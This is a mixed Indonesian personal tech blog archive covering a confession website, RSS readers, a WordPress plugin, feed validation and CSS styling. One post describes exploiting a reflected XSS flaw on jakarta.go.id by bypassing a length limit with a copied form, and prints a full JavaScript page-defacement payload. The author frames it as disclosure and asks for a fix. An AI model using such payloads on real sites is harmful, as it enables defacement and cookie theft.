Pernah dengar cerita tentang `Raja Berkuping Keledai`? Jika belum, ceritanya kurang lebih seperti ini:

Alkisah ada seorang raja yang dikutuk oleh dewa menjadi berkuping keledai. Karena malu, raja tersebut menutupi kuping dengan mahkota yang besar sekali. Suatu hari raja merasa bahwa rambutnya sudah panjang, butuh dipotong.

Akhirnya raja memilih seorang tukang cukur. Tukang cukur tersebut terkejut mendapati bahwa kuping raja seperti keledai. Tapi raja mengancam akan membunuh tukang cukur jika membocorkan hal tersebut.

Hari demi hari, bulan berganti bulan. Tukang cukur tersebut menjadi sakit dikarenakan rahasia tersebut. Tak kuasa menahan lagi, akhirnya tukang cukur menggali tanah di sebuah tempat kosong dan berteriak tentang raja yang kupingnya seperti kuping keledai.

Dengan hal tersebut, tukang cukur sehat kembali karena tidak lagi dibayang-bayangi menyimpan sebuah rahasia.

Raja Bertelinga Keledai

Tulisan Sesudah Sebelum Tulisan Dimulai…

Nah, berawal dari situ jugalah ide saya untuk membuat sebuah layanan bernama NGAKU.IN yang bisa diakses di http://ngaku.in. Layanan ini bisa digunakan oleh orang-orang yang ingin mengaku, curhat, dan lain sebagainya tanpa harus diketahui oleh orang lain.

Simpel, sederhana, tapi bisa membuat orang lega itu tujuan utama saya.

Tidak terasa sudah 3 tahunan saya mengembangkan Ngaku.in, mulai dari Februari 2009 yang langsung di-review oleh DailySocial di beberapa tulisan:

• Ayo Ngaku Disini!
• Interview : Ardy Hidayat
• Ngaku.in Tambahkan Komentar dan Moderasi
• Ngakuin Tampil Lebih Baik
• Ngakuin Goes Mobile

3 tahun lebih berlalu, sayapun kadang bahkan lupa bahwa pernah punya website bernama ngaku.in

Tapi sekarang, setelah hampir 4 tahun, saya berniat fokus kembali ke ngaku.in, salah satunya karena ada banyak ide-ide baru yang bisa diterapkan di Ngaku.in.

Akhirnya tanggal 25 September 2011 kemarin, saya me-redesain dan mengonsep ulang Ngaku.in. Alhamdulillah hasilnya lumayan positif, datang kembali trafik ke ngaku.in. Hal ini juga ditandai oleh masuknya Ngaku.in ke nominasi `Asia’s Top 50 Apps`, yaitu ajang pemilihan 50 startup terbaik se-Asia.

Selanjutnya hal yang lebih menggembirakan lagi: Ngaku.in di-review Penn-Olson. Wajar saja saat mengecek Google Analytics ada banyak trafik yang bersumber dari Penn-Olson.

Review dari Penn-Olson

Tulisan Sesudah Tulisan…

Yup, ada banyak PR yang harus saya kerjakan untuk terus mengembangkan Ngaku.in, salah satunya adalah melaunching fitur Ngaku.in Punto, apa itu Ngaku.in Punto? Nanti tunggu saja aksi saya™

nb:

• Posting di Blog Ngaku.in mengenai masuk ke nominasi `Asia’s Top 50 Apps`
• Hari ini baru mendapat kabar ada sebuah web lagi yang mereview Ngaku.in, makasih ya DIGISTY
• foto sampul buku dongeng diambil dari sini

Tulisan Sesudah Sebelum Tulisan Dimulai…
Akhirnya beralih ke Bloglines, layanan yang menurut saya lebih ringan dibanding Google Reader.

Tapi kadang akses ke Bloglines.com tidak stabil, kadang cepat kadang juga malah sampai browser menyerah

Lalu saya memutuskan untuk pindah lagi, tentunya dengan mengimpor semua RSS yang sudah saya subscribe di Bloglines ke layanan baru nanti, caranya mudah tinggal klik bagian edit lalu pilih Export Subscription, dan langsung mendapat file .opml nya.

Lalu mencoba-coba cari di internet, apakah ada layanan aplikasi desktop yang sesuai dengan yg diinginkan.

Ternyata ada sebuah aplikasi yang menurut saya sesuai, yaitu NetNewsWire. Enaknya aplikasi ini bisa disinkronisasi dengan NewsGator, jadi jika kebetulan saya membawa Macbook saya, maka saya bisa membaca lewat NetNewsWire yang sudah terinstall.

Dan jika suatu saat saya tidak membawa MacBook saya, tetapi saya ingin membaca blog dan situs web melalui RSS reader saya, tinggal buka NewsGator.com, dengan otomatis semua RSS yang saya subscribe, berikut dengan posting yang sudah saya baca sama dengan yang ada di NetNewsWire.

Lebih lanjut tentang NetNewsWire.

Tulisan Sesudah Tulisan…

Karena itu saya membuat versi 1.1 untuk WordPress Plugin ini.

Sebenarnya untuk versi yang ini saya sudah lama memasangnya di blog saya ini (sejak tanggal 7 Januari 2008), cuma gak sempet-sempet untuk posting tentang update nya.

Tulisan Sesudah Sebelum Tulisan Dimulai…

Plugin Name: LC-Status Line

Plugin URI: http://www.limosin-creative.com/?p=script (Indonesia better download from here)
Mirror: http://ardy.or.id/lc-statusline.zip

Description: Create status line on top of your blog page, like firefox do when it block a pop up.

Author: Ardy Hidayat [rd Limosin]
Version: 1.1
Author URI: http://www.ardy.or.id

change log:
Monday January 7, 2008 01:02 PM: version 1.1
- dapat menggunakan tanda kutip (“) seperti: <a href=”http://ardy.or.id”>rd Limosin</a>

Skrinsut dan sebagainya bisa dilihat pada posting sebelumnya.

Fitur hampir semuanya sama dengan versi sebelumnya, tetapi saya hanya menambah fungsi stripslashes pada saat mensubmit text.

Lalu saya mengubah <input type=”text” /> yang digunakan pada versi sebelumnya menjadi memakai <textarea>

Tulisan Sesudah Tulisan…
Buat yang kemaren rikues tentang fitur bisa random text, nanti yah. Kalo ada waktu, mungkin habis saya sidang skripsi.

Pernah pake XAMPP?? itu loh, tools yang membundel komponen-komponen penting untuk belajar PHP.

Males jelasin tentang XAMPP, lebih lanjut ke sini aja deh atw ke sini.

Nah, ak sudah buat XAMPP versi Indonesia, sudah lumayan lama sih buatnya, kira² setahun yang lalu. Cuma lupa untuk diposting ke sini.

Nah, buat blogger yang ingin tau bagaimana cara untuk meng-Indonesia-kan XAMPP Anda, tinggal klik di PHP in RuangKopi. Klo gak mau, ya udah gag usah menuju ke TKP.

Btw, mohon maaf jika translate-nya agak² kacau, maklum meng-Indonesia-kan kata² di bidang komputer sangatlah sulit.

http://detikinet.com/index.php/feed/

nb: RSS di atas gak bisa lagi, ada pesan: Requested circuit “feed” doesn’t exist jika Anda membukanya. (23-08-07, RSS detik berganti lagi menjadi yg di atas)

Lalu RSSnya berganti menjadi:

http://detikinet.com/index.php/detik.feed

Nah, yang ini bisa, cuma masalahnya RSS dari detikinet yg baru ini ternyata tidak valid:

1. Harusnya tag <guid> tidak boleh mengarah ke alamat yg sama (jadi, harus unik, karena ini yg akan digunakan untuk mengarahkan subscriber ke alamat posting yang asli).
   Yang dilakukan detikinet adalah tag <link> yang dibuat unik (harusnya <guid> juga dibuat unik)
2. Penanggalan yang salah. Penanggalan di RSS detikinet <pubDate> tidak mengikuti RFC-822 date-time.

buat kamu yg mau buat format tanggal RFC-822 date-time bisa pake fungsi:
[code lang="php"]
date("r", strtotime("$variabel_tanggal_Anda"));
[/code]

Hasil validasi RSS detikinet bisa diliat dengan mengklik:

Feed Validator
Feed Validator (update) 

Anda juga bisa mencoba validasi RSS Anda di sini.

nb: RSS blog saya ini valid, cuma ada tag HTML <span> yang dibuat plugins untuk konversi ke PDF yg sedikit di warning oleh Feed Validator

Akhirnya dengan sedikit kerja keras memeras otak buat scriptnya akhirnya jadilah Idiotnesia Kronologi. kamu bisa memanfaatkan servis gratis ini di alamat:

http://kron.idiotnesia.com

Apa itu kronologi??

Kasihan dong, udah capek-capek buat, cuma ternyata gak ad yg mengerti apa itu kronologi. Ok, sekarang bahas apa itu kronologi. Kronologi mungkin belum terlalu terkenal di antara para blogger (cuma, klo ak liat seeh ini bener2 berguna).

Pengertian Umum

Kronologi semacam atribut tambahan pada blog Anda (widget) yang berisikan kegiatan pemilik blog dari waktu ke waktu. Uniknya posting yang dilakukan oleh pemilik blog bisa dilakukan melalui ponsel.

Memerlukan apa saja??

Kamu butuh ponsel yang bisa pake GPRS. Trus karena webnya didesain sesederhana mungkin, kamu bisa posting tanpa membebani pulsa kamu. Bisa juga pake WiFi buat yg ad di area hotspot.

Ditaruh dimana??

Jangan tanya saya, copy paste aj JavaScript yang dikasih di halaman Administrasi Idiotnesia Kronologi ini, lalu baca konfigurasinya. Ok!!!

Tips: Klo ak kan pake WordPress, nah menuju aj ke menu Presentation, terus ke bagian Widgets. Lalu tambah satu Text 1, lalu masukkan JavaScript dari Idiotnesia Kronologi .

Silahkan mencoba!!! ak sudah pasang juga kok, liat aj di bagian kanan (sidebar) blog ak.. (itu tuh, di bagian: rd Limosin lagi ngapain??)

1 januari 2008: untuk saat ini, Idiotnesia tidak lagi membuka service tsb

Jadi tulisan ini buat kamu yg suka blogwalking dan blom tau ttg Google Reader, juga buat kamu yg sudah tau, cuma kali aja masih mau baca tulisan ak (kan penyampaian seseorang dari tulisannya beda-beda ).

Untuk bisa memanfaatkan Google Reader, kamu mesti ada account GMail. Klo belum buruan ke: http://www.gmail.com.

Sudah dapet account Google, nah kamu coba arahkan browser kamu ke alamat: http://www.google.com/reader/. Masukin username dan password kamu.

Nah, di halaman Google Reader, kamu bisa masukkan RSS yang kamu sukai seperti: http://feeds.feedburner.com/NextBillionaireBlog (sekalian promosi ).

Trus kamu juga bisa masukin RSS tersebut ke kategori yg kamu sukai. Klo ak sendiri ad 3 kategori: blogroll (untuk RSS blogger yg ak sering kunjungi, tenang semua blogger yg komen di blog ak ad kok >- ), news (untuk berita Indonesia mulai dari detikinet, kompas, okezone, media indonesia, BBC Indonesia, dll), terus kategori punya saya (untuk melihat komentar yg masuk ke blog ak).

Ok, eksperiens is de bes ticer, jadi kamu coba-coba sendiri ya manfaat dari Google Reader.

Nah buat para blogger, mohon sediakan alamat RSS kamu biar para blogger laennya bisa tau blog kamu update terus pas blogwalking (ini terjadi pas ak minta RSSnya Akang Azis, maklum Kang Azis pake Joomla jadi mesti module RSSnya diaktifin dulu).

Kejadian yg serupa ak alami pas ngunjungin blog thuns, RSSnya rusak, jadi terpaksa ke alamat RSS default WP: wp-rss.php (weei, yg disinggung namanya, benerin kek… :> ).

Buat yg pake WordPress, kamu tinggal aktifin fungsinya pake code:

Post RSS2
[code lang="php"]
< ?php bloginfo('rss2_url'); ?>
[/code]

Comment RSS2
[code lang="php"]
< ?php bloginfo('comments_rss2_url'); ?>
[/code]

Jangan takut, klo kamu pake themes WP yang pembuatnya berkredibilitas tinggi, biasanya sudah dibuat deh dengan sendirinya, minimal ada di bagian <head>:

[code lang="html4strict"]

[/code]

Buat kamu yg pake TextPattern (ini biar seseorang yg pake TextPattern merasa seneng )

alamat RSS di TextPattern
/textpattern/publish/rss.php

Bener gak Kus?? maklum blom sempet ngoprek TextPattern terlalu banyak (mohon dibenerin)

Atw kamu bisa juga daftarin RSS kamu ke feedburner biar RSS makin ngetop. Karena feedburner bisa buat nampilin gini:

dan ini:

Selamat ber-RSS ria dan ber-Google Reader ria

Di blognya romisatriawahono ada tulisan hacked by kartal di hal utamany

Langsung menuju ke TKP, ternyata memang benar, disana blog Pak Romi (pendiri IlmuKomputer, Gegar, dan Brainmathics) terpampang tulisan:

HACKED BY KARTAL

TURKiSH HACKER

screenshot:

Trus ak pikir, cuma halaman index-nya yg di hack, akhirnya ak coba masuk ke blognya melalui permalink langsung seperti: http://romisatriawahono.net/2007/07/08/4-jenis-mahasiswa-anda-termasuk-yang-mana/

ternyata juga gak bisa diakses dan ada tulisan tsb…

Duh, ada apa dengan keamanan WP?? Jadi was was neeh

Turut berduka dengan blog Pak Romi, padahal barusan tadi pagi terima email dari Pak Romi mengenai plugin WP yang ak tanya di blog dia yang bisa untuk melihat jadwal.

Nah, lagi asik browsing, coba search engine di situs itu. Bingung kok kata yang dicari dibatesin cuma bisa sampe 17 karakter. Agak aneh memang, biasanya mesin pencari gak membatasi kita mo cari berapa karakter.


Trus iseng-iseng masukin kata seperti ini:

[code lang="html4strict"]

tes

[/code]

Nah, yang terjadi:

Loh, kok gitu?? knapa tag HTML bisa masuk?? iseng-iseng, coba ah masukin script JavaScript, siapa tau situs ini rentan XSS

Nah, permasalahannya, karena cuma dibatesin 17 karakter, jadi mesin cari di web ini gak mungkin ditulisin script spt:

[code lang="javascript"][/code]

yang notabene lebih dari 17 karakter.

Karena saya (ngakunya) webmaster, masa seeh gak tau logikanya bikin web, jadi tinggal buat aja tampilan dengan mencontek situs ini. Maka seperti biasa saya View Source (( Cuma buat pengguna Mozilla Firefox. Klo gak kebuka, bisa CTR+U, atau pilih View Source ))

Ok, terus buat file HTML yang mirip dengan mesin cari di situs tsb, terus kita ilangin perintah maxlength=”17″, terus karena saya suka XHTML jadi kode yg gak ditutup jadi saya tutup + tambahin nama domain di bagian action:

[code lang="html4strict"]

action="http://jakarta.go.id/v21/cari/default.asp?act=list&lg=1">

[/code]

terus beri nama terserah. Klo saya beri nama dengan jakarta.html

Nah tampilannya jadi kayak ini:

Nah, terus coba masukin script JavaScript spt ini di dalem form input yang sudah dibuat:

[code lang="javascript"][/code]

Dan yang terjadi??? :”> Bisa tembus XSS

Nah, klo gitu kita coba yang agak aneh-aneh ya, masa seeh udah tau ada bug XSS malah dibiarin gitu aja. Kita coba ‘agak-agak nakal‘ ya. Coba buat script JavaScript dengan kode seperti berikut:

[code lang="javascript"]
var title = "Tes tes XSS";
var bgcolor = "#000000";
var image_url = "http://farm3.static.flickr.com/2400/1850740005_0120d0218e.jpg";
var text = "Hasil Deface Ini Semata-mata Hanya Untuk Belajar! Bagi Webmaster, mohon benahi segera. Terima Kasih";
var font_color = "#FF0000";

deface(title, bgcolor, image_url, text, font_color);

function deface(pageTitle, bgColor, imageUrl, pageText, fontColor) {
document.title = pageTitle;
document.body.innerHTML = '';
document.bgColor = bgColor;
var overLay = document.createElement("div");
overLay.style.textAlign = 'center';
document.body.appendChild(overLay);
var txt = document.createElement("p");
txt.style.font = 'normal normal bold 36px Tahoma';
txt.style.color = fontColor;
txt.innerHTML = pageText;
overLay.appendChild(txt);

if (image_url != "") {
var newImg = document.createElement("img");
newImg.setAttribute("border", '0');
newImg.setAttribute("src", imageUrl);
overLay.appendChild(newImg);
}

var footer = document.createElement("p");
footer.style.font = 'italic normal normal 12px Tahoma';
footer.style.color = '#DDDDDD';
footer.innerHTML = title;
overLay.appendChild(footer);
}
[/code]

Terus, simpan dengan ekstensi .js (untuk nama terserah, tetapi ak pake nama xss.js)

Terus tinggal masukin alamat script tadi ke dalam form input yang telah dibuat tadi. Dengan script seperti ini:

[code lang="javascript"][/code]

Nah jadilah tampilan seperti ini:

Untuk kamu yang mo coba, ak sudah upload file untuk mencoba:

jakarta.html

Parahnya, situs ini juga gak bisa ngenalin metode $_POST dan $_GET pada metode REQUEST, jadi bisa diinject dengan membuat alamat URI seperti ini:

Tes XSS

Untuk semuanya, saya bukan bermaksud sombong, sok menjadi hacker, dan sebagainya. Saya cuma ingin Anda tau untuk kemajuan kita bersama. Untuk webmaster jakarta.go.id semoga bisa dapat cepat menutup bug ini. Berbahaya jika orang lain malah mengambil isi cookies yg ada di web tsb dengan XSS. Buat temen-temen yg blogger, klo ada yg kenal sama webmasternya coba hubungi dia. Terima Kasih

CSS ini memanfaatkan sintaks di HTML yaitu: <blockquote>

ada 3 macam CSS yang ak tambah di desain blog ini:

1. <blockquote>
Kmaren sintaks <blockquote> cuma menampilkan seperti ini:
[code lang="css"]
blockquote {
margin: 0 20px;
padding: 0 20px;
border-left: 4px solid #E8E7D0;
font-size: 0.9em;
}[/code]

Sekarang sintaks CSS <blockquote> menjadi:
[code lang="css"]
blockquote {
margin: 0 20px;
padding: 0 20px;
border: 1px solid #DF4400;
font-size: 8pt;
font-family:"Trebuchet MS", "Century Gothic", Verdana;
background:#F5DCD0 url(./images/block.gif) no-repeat right bottom;
}
[/code]

Menghasilkan tampilan seperti ini:

Contoh <blockquote> dengan CSS yang baru
Contoh <blockquote> dengan CSS yang baru
Contoh <blockquote> dengan CSS yang baru

2. <blockquote class=”php”>
Ini diperuntukan saat ak memposting script PHP pada blog ini. Script CSS lengkapnya:
[code lang="css"]
blockquote.php {
padding-top:20px;
font-family: monospace;
color: #666;
background:#B8B9D2 url(./images/php.png) no-repeat left top;
border:1px solid #676BA9;
}
[/code]

Maka tampilannya akan menjadi seperti ini:

Contoh <blockquote> dengan CSS yang baru
Contoh <blockquote> dengan CSS yang baru
Contoh <blockquote> dengan CSS yang baru

3. <blockquote type=”html”>
Nah yang ini saat ak memposting tulisan HTML, biar lebih enak ngeliatnya:
[code lang="css"]
blockquote.html {
padding-top:20px;
font-family: monospace;
color: #666;
background:#C5E6F9 url(./images/html.png) no-repeat left top;
border:1px solid #0775B4;
}
[/code]

Nah, untuk yg ini tampilannya:

Contoh <blockquote> dengan CSS yang baru
Contoh <blockquote> dengan CSS yang baru
Contoh <blockquote> dengan CSS yang baru

Untuk kamu yang ingin memanfaatkan CSS yang sama dengan yg ak buat. Kamu bisa menambahkan script di atas ke file CSS kamu (biasanya klo pake wordpress namanya style.css).

Kamu juga bisa download file gambarnya di:
gambar utk <blockquote> : download di sini
gambar utk <blockquote class=”php”> : download di sini
gambar utk <blockquote class=”html”> : download di sini